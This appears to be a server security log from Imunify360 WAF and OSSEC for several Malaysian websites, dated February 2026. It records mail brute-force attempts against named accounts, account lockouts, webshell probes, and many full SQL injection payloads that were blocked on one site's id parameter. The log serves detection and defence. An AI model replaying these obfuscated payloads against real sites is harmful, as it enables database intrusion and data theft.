country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1' and and/**/row(4157,1006)>(select/**/count(*),concat('~',(select/**/(elt(4157=4157,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/2193/**/union/**/select/**/2486/**/union/**/select/**/9795/**/union/**/select/**/2847)a/**/group/**/by/**/x)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.229.25.160
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'))/*!50000AND*/ROW(3607,4939)>(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(3607=3607,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/(/*!50000SELECT*/3691/*!50000UNION*//*!50000SELECT*/2054/*!50000UNION*//*!50000SELECT*/9162/*!50000UNION*//*!50000SELECT*/9447)a/*!50000GROUP*//*!50000BY*/x) AND (('1DD9wWVr'='1DD9wWVr||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:22:25 dovecot_login authenticator failed for H=(Kdbjpn9up) [158.94.208.175]:56662: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:22:28 dovecot_login authenticator failed for H=(QnZFPvl9W) [165.154.217.204]:51766: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.158
country_id: 2750405
description:
2026-02-02  5:22:37 263276 [Warning] Aborted connection 263276 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.158' (This connection closed normally without authentication)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 14.229.25.160
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1'))/*!50000AND*/ROW(3607,4939)>(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(3607=3607,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/(/*!50000SELECT*/3691/*!50000UNION*//*!50000SELECT*/2054/*!50000UNION*//*!50000SELECT*/9162/*!50000UNION*//*!50000SELECT*/9447)a/*!50000GROUP*//*!50000BY*/x) AND (('1DD9wWVr'='1DD9wWVr||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:22:08 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@cordage.com.my has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:22:08 dovecot_login authenticator failed for H=(1GFf4R) [165.154.217.204]:49700: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:22:48 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:44202: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:22:10 dovecot_login authenticator failed for H=(zwTIRlv) [178.16.52.139]:50912: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 05:22:34 dovecot_login authenticator failed for H=(ffWc9d9) [178.16.54.138]:57216: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 189.22.239.38
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'/*!50000AND*/GTID_SUBSET(/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(1156=1156,1))),'~'),1156)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 14.229.25.160
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1')))and/**/row(10218,9162)>(select/**/count(*),concat('~',(select/**/(elt(10218=10218,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/2996/**/union/**/select/**/3241/**/union/**/select/**/5530/**/union/**/select/**/3997)a/**/group/**/by/**/x) and ((('z5w6xihu'='z5w6xihu||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.229.25.160
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1')))and/**/row(10218,9162)>(select/**/count(*),concat('~',(select/**/(elt(10218=10218,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/2996/**/union/**/select/**/3241/**/union/**/select/**/5530/**/union/**/select/**/3997)a/**/group/**/by/**/x) and ((('z5w6xihu'='z5w6xihu||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:22:09 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:22:30 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58587: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 189.22.239.38
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'and/**/gtid_subset(concat('~',(select/**/(elt(6541=6541,1))),'~'),6541) or 'u3eedtrr'='ft9tgio1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:23:33 dovecot_login authenticator failed for H=(LF8bxjqRK) [158.94.208.175]:50123: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 189.22.239.38
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1' AND /*!50000AND*/JSON_KEYS((/*!50000SELECT*//*!50000CONVERT*/((/*!50000SELECT*//*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(10108=10108,1))),'~'))/**/USING/**/utf8)))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:23:06 dovecot_login authenticator failed for H=(cT2qWunib) [165.154.217.204]:55931: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:23:07 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:23:16 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52405: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:23:29 dovecot_login authenticator failed for H=(heHOLprTAn) [178.16.52.139]:62265: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 189.22.239.38
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1') and and/**/json_keys((select/**/convert((select/**/concat('~',(select/**/(elt(7742=7742,1))),'~'))/**/using/**/utf8)))-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 189.22.239.38
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1')AnD/**/1152=CASt((%27~%27||(SELecT/**/(case/**/WHen/**/(1152=1152)/**/thEN/**/1/**/elsE/**/0/**/end))||%27~%27)/**/As/**/xML)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 189.22.239.38
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'and/**/6389=cast(('~'||(select/**/(case/**/when/**/(6389=6389)/**/then/**/1/**/else/**/0/**/end))||'~')/**/as/**/xml)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:24:24 dovecot_login authenticator failed for H=(9qPhExgm) [178.16.52.139]:54005: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.82.169.226
country_id: 2635167
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/application/js/home.js HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:24:59 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:39648: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.206.72.53
country_id: 2635167
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/application/js/all.js HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:24:01 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.194.142.167
country_id: 1814991
description:
2026-02-02 05:24:13 dovecot_login authenticator failed for H=([112.194.142.167]) [112.194.142.167]:47188: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 181.208.115.113
country_id: 3625428
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1')AND/**/8751=(SELECT/**/'~' (SELECT/**/(CASE/**/WHEN/**/(8751=8751)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END)) '~'/**/FOR/**/XML/**/PATH(''))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-02-02 05:24:52 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:46874: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.82.171.141
country_id: 2635167
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/application/js/smooth.scroll.js HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:24:18 dovecot_login authenticator failed for H=(t6zAO025Wv) [158.94.208.175]:59482: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:24:41 dovecot_login authenticator failed for H=(gU15I0W) [165.154.217.204]:49247: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:24:03 dovecot_login authenticator failed for H=(fXcDDoku) [165.154.217.204]:61270: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 133.159.124.223
country_id: 1861060
description:
2026-02-02 05:24:25 dovecot_login authenticator failed for H=223.124.159.133.rev.iijmobile.jp ([127.0.0.1]) [133.159.124.223]:43611: 535 Incorrect authentication data (set_id=premalata)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 05:24:26 dovecot_login authenticator failed for H=(0SEKwTblH) [178.16.54.138]:57331: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.13.26.209
country_id: 1814991
description:
2026-02-02 05:24:18 dovecot_login authenticator failed for H=([127.0.0.1]) [27.13.26.209]:38363: 535 Incorrect authentication data (set_id=premalata@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.216.169.12
country_id: 2328926
description:
2026-02-02 05:24:18 dovecot_login authenticator failed for H=([41.216.169.12]) [41.216.169.12]:50226: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.165.111
country_id: 1835841
description:
2026-02-02 05:24:30 dovecot_login authenticator failed for H=([121.142.165.111]) [121.142.165.111]:46621: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 181.208.115.113
country_id: 3625428
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1')and/**/8751=(select/**/'~'+(select/**/(case/**/when/**/(8751=8751)/**/then/**/'1'/**/else/**/'0'/**/end))+'~'/**/for/**/xml/**/path(''))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:24:13 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63769: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/m.me/img/druma_photos/about.php||SC:/home/indfinitydesign/public_html/m.me||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.232.255.144
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\"and/**/gtid_subset(concat('~',(select/**/(elt(4224=4224,1))),'~'),4224) and \"td3tuiag\"=\"td3tuiag\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.232.255.144
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\"AND/**/GTID_SUBSET(CONCAT('~',(SELECT/**/(ELT(4224=4224,1))),'~'),4224) AND \"tD3tUiAg\"=\"tD3tUiAg\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.87.152
country_id: 1814991
description:
2026-02-02 05:25:13 dovecot_login authenticator failed for H=([111.61.87.152]) [111.61.87.152]:36840: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 05:25:25 dovecot_login authenticator failed for H=(xTOoizp) [178.16.54.138]:49931: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.228.228
country_id: 1269750
description:
2026-02-02 05:25:29 dovecot_login authenticator failed for H=(nsg-corporate-228.228.187.122.airtel.in) [122.187.228.228]:53591: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:25:17 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:25:03 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58165: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:25:05 dovecot_login authenticator failed for H=(TSTcvBP) [165.154.217.204]:51887: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:25:49 dovecot_login authenticator failed for H=(yajh8faLX2) [178.16.52.139]:53106: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:25:25 dovecot_login authenticator failed for H=(5zXqv8gV) [158.94.208.175]:63130: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 181.208.115.113
country_id: 3625428
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'and/**/1488=dbms_utility.sqlid_to_sqlhash(chr(126)||'~'||(select/**/(case/**/when/**/(1488=1488)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||'~'||chr(126)) or '6l46ual8'='gv45kaks||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 181.208.115.113
country_id: 3625428
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'AND/**/1488=DBMS_UTILITY.SQLID_TO_SQLHASH(CHR(126)||'~'||(SELECT/**/(CASE/**/WHEN/**/(1488=1488)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(126)) OR '6l46uAL8'='GV45kakS||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.49.182
country_id: 1668284
description:
2026-02-02 05:25:15 dovecot_login authenticator failed for H=111-70-49-182.emome-ip.hinet.net [111.70.49.182]:53347: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.232.255.144
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\")AND/**/GTID_SUBSET(CONCAT('~',(SELECT/**/(ELT(2070=2070,1))),'~'),2070) AND (\"lSsedOTV\"=\"lSsedOTV\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 14.232.255.144
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1\"and/**/row(2341,7993)>(select/**/count(*),concat('~',(select/**/(elt(2341=2341,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/9100/**/union/**/select/**/3145/**/union/**/select/**/6610/**/union/**/select/**/5864)a/**/group/**/by/**/x) and \"vbamrkma\"=\"vbamrkma\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:26:31 dovecot_login authenticator failed for H=(bT0jwd37E) [158.94.208.175]:61324: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.176.139.4
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1\")AND/**/9792=(SELECT/**/'~'+(SELECT/**/(CASE/**/WHEN/**/(9792=9792)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END))+'~'/**/FOR/**/XML/**/PATH('')) AND (\"hgjD4gEY\"=\"hgjD4gEY\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/services/images/sliders/contact.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:26:53 dovecot_login authenticator failed for H=(JVfooZTbjM) [165.154.217.204]:65283: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:26:02 dovecot_login authenticator failed for H=(pqIMFA) [165.154.217.204]:58706: 535 Incorrect authentication data (set_id=intercessors)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 14.232.255.144
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1\"AND/**/ROW(2341,7993)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(2341=2341,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/9100/**/UNION/**/SELECT/**/3145/**/UNION/**/SELECT/**/6610/**/UNION/**/SELECT/**/5864)a/**/GROUP/**/BY/**/x) AND \"VBamrKma\"=\"VBamrKma\"||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:26:14 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:26:19 dovecot_login authenticator failed for H=(oZnxje) [178.16.52.139]:62474: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 05:26:26 dovecot_login authenticator failed for H=(D6lzWw4F) [178.16.54.138]:54834: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.232.255.144
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\")and/**/gtid_subset(concat('~',(select/**/(elt(2070=2070,1))),'~'),2070) and (\"lssedotv\"=\"lssedotv\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:26:11 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53840: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.176.139.4
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\"))and/**/4053=(select/**/'~'+(select/**/(case/**/when/**/(4053=4053)/**/then/**/'1'/**/else/**/'0'/**/end))+'~'/**/for/**/xml/**/path('')) and ((\"93wbat3b\"=\"93wbat3b\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.75.143.8
country_id: 1668284
description:
2026-02-02 05:27:30 dovecot_login authenticator failed for H=211-75-143-8.hinet-ip.hinet.net ([127.0.0.1]) [211.75.143.8]:65086: 535 Incorrect authentication data (set_id=sixela2217)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.139.124.120
country_id: 1835841
description:
2026-02-02 05:27:52 dovecot_login authenticator failed for H=([125.139.124.120]) [125.139.124.120]:45260: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.176.139.4
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\")and/**/1735=dbms_utility.sqlid_to_sqlhash(chr(126)||%27~%27||(select/**/(case/**/when/**/(1735=1735)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||%27~%27||chr(126)) and (\"vzak5hfv\"=\"vzak5hfv\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.59.202.241
country_id: 149590
description:
2026-02-02 05:27:34 dovecot_login authenticator failed for H=(241.202-59-41.data-dsm.ttcldata.net) [41.59.202.241]:58858: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.174.160.59
country_id: 6252001
description:
2026-02-02 05:27:39 dovecot_login authenticator failed for H=([127.0.0.1]) [70.174.160.59]:50380: 535 Incorrect authentication data (set_id=sixela2217)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 149.62.205.72
country_id: 732800
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1%'/*!50000AND*/ROW(3134,4117)>(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(3134=3134,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/(/*!50000SELECT*/2729/*!50000UNION*//*!50000SELECT*/5820/*!50000UNION*//*!50000SELECT*/10650/*!50000UNION*//*!50000SELECT*/1184)a/*!50000GROUP*//*!50000BY*/x) AND 'UsBMML4p%'='UsBMML4p||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 149.62.205.72
country_id: 732800
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1%'/*!50000AND*/ROW(3134,4117)>(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(3134=3134,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/(/*!50000SELECT*/2729/*!50000UNION*//*!50000SELECT*/5820/*!50000UNION*//*!50000SELECT*/10650/*!50000UNION*//*!50000SELECT*/1184)a/*!50000GROUP*//*!50000BY*/x) AND 'UsBMML4p%'='UsBMML4p||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.176.139.4
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1\")AND/**/2711=DBMS_UTILITY.SQLID_TO_SQLHASH(CHR(126)||'~'||(SELECT/**/(CASE/**/WHEN/**/(2711=2711)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(126)) AND (\"MK7zdN4W\"=\"MK7zdN4W\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:27:10 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:27:16 dovecot_login authenticator failed for H=(fqpoZoL) [178.16.52.139]:52988: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.193.226.167
country_id: 2017370
description:
